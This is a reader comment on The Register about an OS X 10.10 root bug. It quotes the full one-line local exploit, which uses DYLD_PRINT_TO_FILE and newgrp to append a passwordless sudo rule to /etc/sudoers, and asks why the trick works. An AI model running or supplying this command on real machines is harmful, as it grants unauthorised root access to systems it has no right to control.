Reply to post: Ayyy LMAO

Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet

Anonymous Coward
Anonymous Coward


That does not sounds like the correct error. You may not be using a shell that groks ">&3"?

Can anyone comment on why

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp

even works? Why does "newgrp" gobble the string

"echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3"

and bravely runs it in a subshell, outputting

"vulture ALL=(ALL) NOPASSWD:ALL" to file descriptor 3???

POST COMMENT House rules

Not a member of The Register? Create a new account here.

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Biting the hand that feeds IT © 1998–2019